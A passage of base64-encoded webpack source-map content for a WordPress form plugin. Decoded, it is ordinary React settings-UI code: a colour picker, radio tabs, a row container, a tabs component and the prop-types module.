Ccud3AtcGlja2VyLWNsZWFyJyApXG5cdFx0O1xuXG5cdFx0bGV0ICRwaWNrZXJCYWNrZ3JvdW5kID0gJHdwUGlja2VyQWxwaGE7XG5cblx0XHQvLyBDaGVjayBpZiBhbHBoYSBleGlzdHNcblx0XHRpZiAoICRzdWlQaWNrZXJJbnB1dC5kYXRhKCAnYWxwaGEnICkgPT09IHRydWUgKSB7XG5cdFx0XHQkcGlja2VyQmFja2dyb3VuZCA9ICR3cFBpY2tlckFscGhhO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHQkcGlja2VyQmFja2dyb3VuZCA9ICR3cFBpY2tlckJ1dHRvbjtcblx0XHR9XG5cblx0XHQvLyBMaXN0ZW4gdG8gY29sb3IgY2hhbmdlXG5cdFx0JHN1aVBpY2tlcklucHV0LmJpbmQoICdjaGFuZ2UnLCBmdW5jdGlvbigpIHtcblx0XHRcdC8vIENoYW5nZSBjb2xvciBwcmV2aWV3XG5cdFx0XHQkc3VpUGlja2VyQ29sb3IuZmluZCggJ3NwYW4nICkuY3NzKCB7XG5cdFx0XHRcdCdiYWNrZ3JvdW5kLWNvbG9yJzogJHBpY2tlckJhY2tncm91bmQuY3NzKCAnYmFja2dyb3VuZC1jb2xvcicgKSxcblx0XHRcdH0gKTtcblxuXHRcdFx0Ly8gQ2hhbmdlIGNvbG9yIHZhbHVlXG5cdFx0XHQkc3VpUGlja2VyVmFsdWUuZmluZCggJ2lucHV0JyApLnZhbCggJHN1aVBpY2tlcklucHV0LnZhbCgpICk7XG5cdFx0fSApO1xuXG5cdFx0Ly8gT3BlbiBpcmlzIHBpY2tlclxuXHRcdCRzdWlQaWNrZXIuZmluZCggJy5zdWktYnV0dG9uLCBzcGFuW3JvbGU9YnV0dG9uXScgKS5vbiggJ2NsaWNrJywgZnVuY3Rpb24oIGUgKSB7XG5cdFx0XHRlLnByZXZlbnREZWZhdWx0KCk7XG5cdFx0XHRlLnN0b3BQcm9wYWdhdGlvbigpO1xuXHRcdFx0JHdwUGlja2VyQnV0dG9uLmNsaWNrKCk7XG5cdFx0fSApO1xuXG5cdFx0Ly8gQ2xlYXIgY29sb3IgdmFsdWVcblx0XHQkc3VpUGlja2VyQ2xlYXIub24oICdjbGljaycsIGZ1bmN0aW9uKCBlICkge1xuXHRcdFx0ZS5wcmV2ZW50RGVmYXVsdCgpO1xuXHRcdFx0ZS5zdG9wUHJvcGFnYXRpb24oKTtcblxuXHRcdFx0JHdwUGlja2VyQ2xlYXIuY2xpY2soKTtcblx0XHRcdCRzdWlQaWNrZXJWYWx1ZS5maW5kKCAnaW5wdXQnICkudmFsKCAnJyApO1xuXHRcdFx0JHN1aVBpY2tlckNvbG9yLmZpbmQoICdzcGFuJyApLmNzcygge1xuXHRcdFx0XHQnYmFja2dyb3VuZC1jb2xvcic6ICcnLFxuXHRcdFx0fSApO1xuXHRcdH0gKTtcblxuXHRcdHRoaXMudXBkYXRlVmFsdWUgPSB0aGlzLnVwZGF0ZVZhbHVlLmJpbmQoIHRoaXMgKTtcblx0XHR0aGlzLiRlbC5vbiggJ2NoYW5nZScsIHRoaXMudXBkYXRlVmFsdWUgKTtcblx0fVxuXG5cdHVwZGF0ZVZhbHVlKCBlICkge1xuXHRcdGNvbnN0IHZhbHVlID0gZS50YXJnZXQudmFsdWU7XG5cblx0XHQvLyBDaGVjayBpZiB3ZSdyZSBvbiBmaWVsZCBzZXR0aW5nc1xuXHRcdGlmICggdHlwZW9mIHRoaXMucHJvcHMudXBkYXRlUHJvcGVydHkgPT09ICdmdW5jdGlvbicgKSB7XG5cdFx0XHQvLyBVcGRhdGUgZmllbGQgc3RhdGVcblx0XHRcdHRoaXMucHJvcHMudXBkYXRlUHJvcGVydHkoXG5cdFx0XHRcdHRoaXMucHJvcHMucHJvcGVydHksXG5cdFx0XHRcdHZhbHVlXG5cdFx0XHQpO1xuXHRcdH0gZWxzZSB7XG5cdFx0XHQvLyBVcGRhdGUgc3RvcmVcblx0XHRcdHRoaXMucHJvcHMuYWN0aW9ucy5zZXR0aW5nc0FjdGlvbnMudXBkYXRlU2V0dGluZyggdGhpcy5wcm9wcy5wcm9wZXJ0eSwgdmFsdWUgKTtcblx0XHR9XG5cdH1cblxuXHRjb21wb25lbnRXaWxsVW5tb3VudCgpIHtcblx0XHR0aGlzLiRlbC5vZmYoICdjaGFuZ2UnLCB0aGlzLnVwZGF0ZVZhbHVlICk7XG5cdFx0dGhpcy4kZWwudW5iaW5kKCkucmVtb3ZlRGF0YSgpO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IHZhbHVlID0gKCBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKSB8fCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gPT09IG51bGwgKVxuXHRcdFx0PyB0aGlzLnByb3BzLmRlZmF1bHRWYWx1ZVxuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF07XG5cblx0XHRsZXQgZmllbGRMYWJlbCA9ICcnO1xuXG5cdFx0aWYgKCB0aGlzLnByb3BzLmxhYmVsICkge1xuXHRcdFx0ZmllbGRMYWJlbCA9IChcblx0XHRcdFx0PGxhYmVsIGNsYXNzTmFtZT1cInN1aS1sYWJlbFwiXG5cdFx0XHRcdFx0aHRtbEZvcj17IGBmb3JtaW5hdG9yLWNvbG9yLSR7IHRoaXMucHJvcHMucHJvcGVydHkgfWAgfT5cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMubGFiZWwgfVxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5ub3RlICYmXG5cdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktbGFiZWwtbm90ZVwiPiB7IHRoaXMucHJvcHMubm90ZSB9PC9zcGFuPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0PC9sYWJlbD5cblx0XHRcdCk7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIChcblx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWZvcm0tZmllbGRcIj5cblx0XHRcdFx0eyBmaWVsZExhYmVsIH1cblx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktY29sb3JwaWNrZXItd3JhcFwiPlxuXHRcdFx0XHRcdDxkaXZcblx0XHRcdFx0XHRcdGNsYXNzTmFtZT17IGBzdWktY29sb3JwaWNrZXIgc3VpLWNvbG9ycGlja2VyLSR7IHRoaXMucHJvcHMuaXNBbHBoYVxuXHRcdFx0XHRcdFx0XHQ/ICdyZ2JhJ1xuXHRcdFx0XHRcdFx0XHQ6ICdoZXgnXG5cdFx0XHRcdFx0XHR9YCB9XG5cdFx0XHRcdFx0XHRhcmlhLWhpZGRlbj1cInRydWVcIj5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWNvbG9ycGlja2VyLXZhbHVlXCI+XG5cdFx0XHRcdFx0XHRcdDxzcGFuIHJvbGU9XCJidXR0b25cIj5cblx0XHRcdFx0XHRcdFx0XHQ8c3BhbiBzdHlsZT17IHsgYmFja2dyb3VuZENvbG9yOiB2YWx1ZSB9IH0+PC9zcGFuPlxuXHRcdFx0XHRcdFx0XHQ8L3NwYW4+XG5cdFx0XHRcdFx0XHRcdDxpbnB1dCB0eXBlPVwidGV4dFwiIGRlZmF1bHRWYWx1ZT17IHZhbHVlIH1cblx0XHRcdFx0XHRcdFx0XHRyZWFkT25seT1cInJlYWRvbmx5XCIgLz5cblx0XHRcdFx0XHRcdFx0PGJ1dHRvbj5cblx0XHRcdFx0XHRcdFx0XHQ8aSBjbGFzc05hbWU9XCJzdWktaWNvbi1jbG9zZVwiIGFyaWEtaGlkZGVuPVwidHJ1ZVwiPjwvaT5cblx0XHRcdFx0XHRcdFx0PC9idXR0b24+XG5cdFx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0XHRcdDxidXR0b24gY2xhc3NOYW1lPVwic3VpLWJ1dHRvblwiPnsgdHJhbnNsYXRlKCAnU2VsZWN0JyApIH08L2J1dHRvbj5cblx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0XHQ8aW5wdXQgcmVmPXsgZWwgPT4gKCB0aGlzLmVsID0gZWwgKSB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9eyB2YWx1ZSB9XG5cdFx0XHRcdFx0XHRpZD17IGBmb3JtaW5hdG9yLWNvbG9yLSR7IHRoaXMucHJvcHMucHJvcGVydHkgfWAgfVxuXHRcdFx0XHRcdFx0Y2xhc3NOYW1lPVwic3VpLWNvbG9ycGlja2VyLWlucHV0XCJcblx0XHRcdFx0XHRcdGRhdGEtYWxwaGE9eyB0aGlzLnByb3BzLmlzQWxwaGEgPyAndHJ1ZScgOiAnZmFsc2UnIH1cblx0XHRcdFx0XHQvPlxuXHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0eyAoIHRoaXMucHJvcHMuZGVzY3JpcHRpb24gJiYgJycgIT09IHRoaXMucHJvcHMuZGVzY3JpcHRpb24gKSAmJiAoXG5cdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCI+eyB0aGlzLnByb3BzLmRlc2NyaXB0aW9uIH08L3NwYW4+XG5cdFx0XHRcdCkgfVxuXHRcdFx0PC9kaXY+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzL2lucHV0cy9jb2xvci1waWNrZXIuanMiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBSYWRpb1RhYnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHR0b2dnbGVWYWx1ZSggdmFsdWUgKSB7XG5cdFx0Ly8gQ2hlY2sgaWYgd2UncmUgb24gZmllbGQgc2V0dGluZ3Ncblx0XHRpZiAoIHR5cGVvZiB0aGlzLnByb3BzLnVwZGF0ZVByb3BlcnR5ID09PSAnZnVuY3Rpb24nICkge1xuXHRcdFx0Ly8gVXBkYXRlIGZpZWxkIHN0YXRlXG5cdFx0XHR0aGlzLnByb3BzLnVwZGF0ZVByb3BlcnR5KFxuXHRcdFx0XHR0aGlzLnByb3BzLnByb3BlcnR5LFxuXHRcdFx0XHR2YWx1ZVxuXHRcdFx0KTtcblx0XHR9IGVsc2Uge1xuXHRcdFx0Ly8gVXBkYXRlIHN0b3JlXG5cdFx0XHR0aGlzLnByb3BzLmFjdGlvbnMuc2V0dGluZ3NBY3Rpb25zLnVwZGF0ZVNldHRpbmcoIHRoaXMucHJvcHMucHJvcGVydHksIHZhbHVlICk7XG5cdFx0fVxuXHR9XG5cblx0Z2V0RGVmYXVsdFZhbHVlKCkge1xuXHRcdGNvbnN0IGRlZmF1bHRWYWx1ZSA9IHRoaXMucHJvcHMuZGVmYXVsdCA/IHRoaXMucHJvcHMuZGVmYXVsdCA6ICcnO1xuXG5cdFx0Y29uc3QgdmFsdWUgPSBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzWyB0aGlzLnByb3BzLnByb3BlcnR5IF0gKVxuXHRcdFx0PyBkZWZhdWx0VmFsdWVcblx0XHRcdDogdGhpcy5wcm9wcy5zZXR0aW5nc1sgdGhpcy5wcm9wcy5wcm9wZXJ0eSBdO1xuXG5cdFx0cmV0dXJuIHZhbHVlO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IHZhbHVlID0gdGhpcy5nZXREZWZhdWx0VmFsdWUoKTtcblxuXHRcdGNvbnN0IHRhYlRpdGxlcyA9IFJlYWN0LkNoaWxkcmVuLm1hcCggdGhpcy5wcm9wcy5jaGlsZHJlbiwgdGFiID0+IHtcblx0XHRcdGlmICggISB0YWIgKSB7XG5cdFx0XHRcdHJldHVybiAoXG5cdFx0XHRcdFx0PFJlYWN0LkZyYWdtZW50IC8+XG5cdFx0XHRcdClcblx0XHRcdH1cblxuXHRcdFx0Y29uc3QgbGFiZWwgPSAhIF8uaXNVbmRlZmluZWQoIHRhYi5wcm9wcy5sYWJlbCApXG5cdFx0XHRcdD8gdGFiLnByb3BzLmxhYmVsXG5cdFx0XHRcdDogdGFiLnByb3BzLmNoaWxkcmVuO1xuXG5cdFx0XHRpZiAoIHRoaXMucHJvcHMuZGlzYWJsZWQgKSB7XG5cdFx0XHRcdHJldHVybiAoXG5cdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9eyAnc3VpLXRhYi1pdGVtJyArICggdGFiLnByb3BzLnZhbHVlID09PSB2YWx1ZSA/ICcgYWN0aXZlJyA6ICcnICkgfVxuXHRcdFx0XHRcdFx0c3R5bGU9eyB7XG5cdFx0XHRcdFx0XHRcdG9wYWNpdHk6IDAuNSxcblx0XHRcdFx0XHRcdFx0Y3Vyc29yOiAnbm90LWFsbG93ZWQnLFxuXHRcdFx0XHRcdFx0fSB9XG5cdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0eyBsYWJlbCB9XG5cdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdCk7XG5cdFx0XHR9XG5cblx0XHRcdGlmICggISB0aGlzLnByb3BzLmRpc2FibGVkICkge1xuXHRcdFx0XHRyZXR1cm4gKFxuXHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPXsgJ3N1aS10YWItaXRlbScgKyAoIHRhYi5wcm9wcy52YWx1ZSA9PT0gdmFsdWUgPyAnIGFjdGl2ZScgOiAnJyApIH1cblx0XHRcdFx0XHRcdG9uQ2xpY2s9eyB0aGlzLnRvZ2dsZVZhbHVlLmJpbmQoIHRoaXMsIHRhYi5wcm9wcy52YWx1ZSApIH1cblx0XHRcdFx0XHQ+XG5cdFx0XHRcdFx0XHR7IGxhYmVsIH1cblx0XHRcdFx0XHQ8L2Rpdj5cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHR9ICk7XG5cblx0XHRjb25zdCBjb250ZW50Q2xhc3MgPSAhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuZGl2Q2xhc3MgKVxuXHRcdFx0PyAnc3VpLXRhYnMtY29udGVudCAnICsgdGhpcy5wcm9wcy5kaXZDbGFzc1xuXHRcdFx0OiAnc3VpLXRhYnMtY29udGVudCc7XG5cblx0XHRjb25zdCB0YWJDb250ZW50cyA9IFJlYWN0LkNoaWxkcmVuLm1hcCggdGhpcy5wcm9wcy5jaGlsZHJlbiwgdGFiID0+IHtcblx0XHRcdGlmICggISB0YWIgKSB7XG5cdFx0XHRcdHJldHVybiAoXG5cdFx0XHRcdFx0PFJlYWN0LkZyYWdtZW50IC8+XG5cdFx0XHRcdClcblx0XHRcdH1cblxuXHRcdFx0Y29uc3QgYm94Q2xhc3MgPSAhIF8uaXNVbmRlZmluZWQoIHRhYi5wcm9wcy5ib3hDbGFzcyApXG5cdFx0XHRcdD8gdGFiLnByb3BzLmJveENsYXNzXG5cdFx0XHRcdDogJyc7XG5cblx0XHRcdGlmICggdGFiLnR5cGUubmFtZSAhPT0gJ0VtcHR5JyApIHtcblx0XHRcdFx0cmV0dXJuIChcblx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT17XG5cdFx0XHRcdFx0XHRib3hDbGFzcyArICcgc3VpLXRhYi1jb250ZW50JyArICggdGFiLnByb3BzLnZhbHVlID09PSB2YWx1ZSA/ICcgYWN0aXZlJyA6ICcnIClcblx0XHRcdFx0XHR9PlxuXHRcdFx0XHRcdFx0eyB0YWIucHJvcHMudmFsdWUgPT09IHZhbHVlICYmIHRhYiB9XG5cdFx0XHRcdFx0PC9kaXY+XG5cdFx0XHRcdCk7XG5cdFx0XHR9XG5cblx0XHRcdHJldHVybiAoXG5cdFx0XHRcdDxSZWFjdC5GcmFnbWVudCAvPlxuXHRcdFx0KTtcblx0XHR9ICk7XG5cblx0XHRsZXQgdGFic0xhYmVsID0gJyc7XG5cblx0XHRpZiAoIHRoaXMucHJvcHMubGFiZWwgJiYgJycgIT09IHRoaXMucHJvcHMubGFiZWwgKSB7XG5cdFx0XHR0YWJzTGFiZWwgPSAoXG5cdFx0XHRcdDxsYWJlbCBodG1sRm9yPXsgYGZvcm1pbmF0b3ItZmllbGQtJHsgdGhpcy5wcm9wcy5wcm9wZXJ0eSB9YCB9XG5cdFx0XHRcdFx0Y2xhc3NOYW1lPVwic3VpLWxhYmVsXCI+XG5cdFx0XHRcdFx0eyB0aGlzLnByb3BzLmxhYmVsIH1cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMubm90ZSAmJlxuXHRcdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWxhYmVsLW5vdGVcIj4geyB0aGlzLnByb3BzLm5vdGUgfTwvc3Bhbj5cblx0XHRcdFx0XHR9XG5cdFx0XHRcdDwvbGFiZWw+XG5cdFx0XHQpO1xuXHRcdH1cblxuXHRcdGxldCBzZXR0aW5nc0xhYmVsID0gJyc7XG5cblx0XHRpZiAoIHRoaXMucHJvcHMuc2V0dGluZ3NMYWJlbCAmJiAnJyAhPT0gdGhpcy5wcm9wcy5zZXR0aW5nc0xhYmVsICkge1xuXHRcdFx0Y29uc3QgbGFiZWxDbGFzcyA9IHRoaXMucHJvcHMubGFiZWxDbGFzcyA/IHRoaXMucHJvcHMubGFiZWxDbGFzcyA6ICdzdWktc2V0dGluZ3MtbGFiZWwnO1xuXHRcdFx0c2V0dGluZ3NMYWJlbCA9IChcblx0XHRcdFx0PGxhYmVsIGNsYXNzTmFtZT17IGxhYmVsQ2xhc3MgfT5cblx0XHRcdFx0XHR7IHRoaXMucHJvcHMuc2V0dGluZ3NMYWJlbCB9XG5cdFx0XHRcdDwvbGFiZWw+XG5cdFx0XHQpO1xuXHRcdH1cblxuXHRcdGxldCBkZXNjcmlwdGlvbiA9ICcnO1xuXG5cdFx0aWYgKCB0aGlzLnByb3BzLmRlc2NyaXB0aW9uICYmICcnICE9PSB0aGlzLnByb3BzLmRlc2NyaXB0aW9uICkge1xuXHRcdFx0ZGVzY3JpcHRpb24gPSAoXG5cdFx0XHRcdDxzcGFuXG5cdFx0XHRcdFx0Y2xhc3NOYW1lPVwic3VpLWRlc2NyaXB0aW9uXCJcblx0XHRcdFx0XHRzdHlsZT17IHsgbWFyZ2luQm90dG9tOiAxMCB9IH1cblx0XHRcdFx0PlxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5kZXNjcmlwdGlvbiB9XG5cdFx0XHRcdDwvc3Bhbj5cblx0XHRcdCk7XG5cdFx0fVxuXG5cdFx0bGV0IHdyYXBwZXJDbGFzcyA9ICEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy53cmFwcGVyQ2xhc3MgKVxuXHRcdFx0PyB0aGlzLnByb3BzLndyYXBwZXJDbGFzc1xuXHRcdFx0OiAnJztcblxuXHRcdHdyYXBwZXJDbGFzcyA9IHRoaXMucHJvcHMuYmFzaWNUYWJzXG5cdFx0XHQ/IGBzdWktdGFicyBzdWktdGFicy1vdmVyZmxvdyAkeyB3cmFwcGVyQ2xhc3MgfWBcblx0XHRcdDogYHN1aS1zaWRlLXRhYnMgJHsgd3JhcHBlckNsYXNzIH1gO1xuXG5cdFx0bGV0IHRhYnNNYXJrdXAgPSAoXG5cdFx0XHQ8ZGl2IGNsYXNzTmFtZT17IHdyYXBwZXJDbGFzcyB9PlxuXG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLXRhYnMtbWVudVwiPlxuXHRcdFx0XHRcdHsgdGFiVGl0bGVzIH1cblx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdFx0PGRpdiBjbGFzc05hbWU9eyBjb250ZW50Q2xhc3MgfT5cblx0XHRcdFx0XHR7IHRhYkNvbnRlbnRzIH1cblx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdDwvZGl2PlxuXHRcdCk7XG5cblx0XHRpZiAoICEgdGhpcy5wcm9wcy5zaW1wbGUgKSB7XG5cdFx0XHR0YWJzTWFya3VwID0gKFxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS1mb3JtLWZpZWxkXCI+XG5cblx0XHRcdFx0XHR7IHNldHRpbmdzTGFiZWwgfVxuXG5cdFx0XHRcdFx0eyB0YWJzTGFiZWwgfVxuXG5cdFx0XHRcdFx0eyBkZXNjcmlwdGlvbiB9XG5cblx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT17IHdyYXBwZXJDbGFzcyB9PlxuXG5cdFx0XHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cInN1aS10YWJzLW1lbnVcIj5cblx0XHRcdFx0XHRcdFx0eyB0YWJUaXRsZXMgfVxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdFx0XHRcdDxkaXYgY2xhc3NOYW1lPXsgY29udGVudENsYXNzIH0+XG5cdFx0XHRcdFx0XHRcdHsgdGFiQ29udGVudHMgfVxuXHRcdFx0XHRcdFx0PC9kaXY+XG5cblx0XHRcdFx0XHQ8L2Rpdj5cblxuXHRcdFx0XHQ8L2Rpdj5cblx0XHRcdCk7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIHRhYnNNYXJrdXA7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy9pbnB1dHMvcmFkaW8tdGFicy5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFJvdyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRjb25zdCBjb2x1bW5zID0gUmVhY3QuQ2hpbGRyZW4ubWFwKFxuXHRcdFx0dGhpcy5wcm9wcy5jaGlsZHJlbixcblx0XHRcdGNoaWxkcmVuID0+IHtcblx0XHRcdFx0cmV0dXJuIGNoaWxkcmVuO1xuXHRcdFx0fVxuXHRcdCk7XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PGRpdiBjbGFzc05hbWU9eyAnc3VpLXJvdycgKyAoICEgXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5jbGFzcyApXG5cdFx0XHRcdD8gJyAnICsgdGhpcy5wcm9wcy5jbGFzc1xuXHRcdFx0XHQ6ICcnXG5cdFx0XHQpIH0+XG5cdFx0XHRcdHsgY29sdW1ucyB9XG5cdFx0XHQ8L2Rpdj5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MvY29udGFpbmVycy9yb3cuanMiLCIvKipcbiAqIENvcHlyaWdodCAoYykgMjAxMy1wcmVzZW50LCBGYWNlYm9vaywgSW5jLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICovXG5cbmlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gIHZhciBSRUFDVF9FTEVNRU5UX1RZUEUgPSAodHlwZW9mIFN5bWJvbCA9PT0gJ2Z1bmN0aW9uJyAmJlxuICAgIFN5bWJvbC5mb3IgJiZcbiAgICBTeW1ib2wuZm9yKCdyZWFjdC5lbGVtZW50JykpIHx8XG4gICAgMHhlYWM3O1xuXG4gIHZhciBpc1ZhbGlkRWxlbWVudCA9IGZ1bmN0aW9uKG9iamVjdCkge1xuICAgIHJldHVybiB0eXBlb2Ygb2JqZWN0ID09PSAnb2JqZWN0JyAmJlxuICAgICAgb2JqZWN0ICE9PSBudWxsICYmXG4gICAgICBvYmplY3QuJCR0eXBlb2YgPT09IFJFQUNUX0VMRU1FTlRfVFlQRTtcbiAgfTtcblxuICAvLyBCeSBleHBsaWNpdGx5IHVzaW5nIGBwcm9wLXR5cGVzYCB5b3UgYXJlIG9wdGluZyBpbnRvIG5ldyBkZXZlbG9wbWVudCBiZWhhdmlvci5cbiAgLy8gaHR0cDovL2ZiLm1lL3Byb3AtdHlwZXMtaW4tcHJvZFxuICB2YXIgdGhyb3dPbkRpcmVjdEFjY2VzcyA9IHRydWU7XG4gIG1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9mYWN0b3J5V2l0aFR5cGVDaGVja2VycycpKGlzVmFsaWRFbGVtZW50LCB0aHJvd09uRGlyZWN0QWNjZXNzKTtcbn0gZWxzZSB7XG4gIC8vIEJ5IGV4cGxpY2l0bHkgdXNpbmcgYHByb3AtdHlwZXNgIHlvdSBhcmUgb3B0aW5nIGludG8gbmV3IHByb2R1Y3Rpb24gYmVoYXZpb3IuXG4gIC8vIGh0dHA6Ly9mYi5tZS9wcm9wLXR5cGVzLWluLXByb2RcbiAgbW9kdWxlLmV4cG9ydHMgPSByZXF1aXJlKCcuL2ZhY3RvcnlXaXRoVGhyb3dpbmdTaGltcycpKCk7XG59XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9wcm9wLXR5cGVzL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSA5XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgVGFicyBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblxuXHRcdHRoaXMuc3RhdGUgPSB7XG5cdFx0XHRhY3RpdmU6IHRoaXMucHJvcHMuZGVmYXVsdCA/IHRoaXMucHJvcHMuZGVmYXVsdCA6ICcnLFxuXHRcdH07XG5cdH1cblxuXHR0b2dnbGVWYWx1ZSggdmFsdWUgKSB7XG5cdFx0dGhpcy5zZXRTdGF0ZSgge1xuXHRcdFx0YWN0aXZlOiB2YWx1ZSxcblx0XHR9ICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0Y29uc3QgZGVmYXVsdFZhbHVlID0gdGhpcy5wcm9wcy5kZWZhdWx0ID8gdGhpcy5wcm9wcy5kZWZhdWx0IDogJyc7XG5cblx0XHRjb25zdCB0eXBlID0gdGhpcy5wcm9wcy50eXBlID8gdGhpcy5wcm9wcy50eXBlIDogJ3NpZGUtdGFicyc7XG5cblx0XHRjb25zdCBleHRyYUNsYXNzID0gdGhpcy5wcm9wcy5leHRyYUNsYXNzID8gdGhpcy5wcm9wcy5leHRyYUNsYXNzIDogJyc7XG5cblx0XHRjb25zdCB0YWJUaXRsZXMgPSBSZWFjdC5DaGlsZHJlbi5tYXAoIHRoaXMucHJvcHMuY2hpbGRyZW4sIHRhYiA9PiB7XG5cdFx0XHRpZiAoIF8uaXNVbmRlZmluZWQoIHRhYiApIHx8IF8uaXNOdWxsKCB0YWIgKSApIHtcblx0XHRcdFx0cmV0dXJuO1xuXHRcdFx0fVxuXG5cdFx0XHRyZXR1cm4gKFxuXHRcdFx0XHQ8ZGl2XG5cdFx0XHRcdFx0Y2xhc3NOYW1lPXsgJ2Zvcm1pbmF0b3ItdG9nZ2xlIHN1aS10YWItaXRlbScgKyAoXG5cdFx0XHRcdFx0XHR0YWIucHJvcHMudmFsdWUgPT09IHRoaXMuc3RhdGUuYWN0aXZlID8gJyBhY3RpdmUnIDogJydcblx0XHRcdFx0XHQpIH1cblx0XHRcdFx0XHRvbkNsaWNrPXsgdGhpcy50b2dnbGVWYWx1ZS5iaW5kKCB0aGlzLCB0YWIucHJvcHMudmFsdWUgKSB9XG5cdFx0XHRcdD5cblx0XHRcdFx0XHR7IHRhYi5wcm9wcy5sYWJlbCB9IHsgdGFiLnByb3BzLnJlcXVpcmVkICYmXG5cdFx0XHRcdFx0XHQ8c3BhbiBjbGFzc05hbWU9XCJzdWktZXJyb3JcIj4qPC9zcGFuPlxuXHRcdFx0XHRcdH1cblx0XHRcdFx0PC9kaXY+XG5cdFx0XHQpO1xuXHRcdH0gKTtcblxuXHRcdGNvbnN0IHRhYkNvbnRlbnRzID0gUmVhY3QuQ2hpbGRyZW4ubWFwKCB0aGlzLnByb3BzLmNoaWxkcmVuLCB0YWIgPT4ge1xuXHRcdFx0aWYgKCBfLmlzVW5kZWZpbmVkKCB0YWIgKSB8fCBfLmlzTnVsbCggdGFiICkgKSB7XG5cdFx0XHRcdHJldHVybjtcblx0XHRcdH1cblxuXHRcdFx0Y29uc3QgYm94Q2xhc3NWYWx1ZSA9ICEgXy5pc1VuZGVmaW5lZCggdGFiLnByb3BzLmJveENsYXNzICkgP1xuXHRcdFx0XHR0YWIucHJvcHMuYm94Q2xhc3MgOiAnc3VpLXRhYi1jb250ZW50JztcblxuXHRcdFx0cmV0dXJuIChcblx0XHRcdFx0PGRpdiBjbGFzc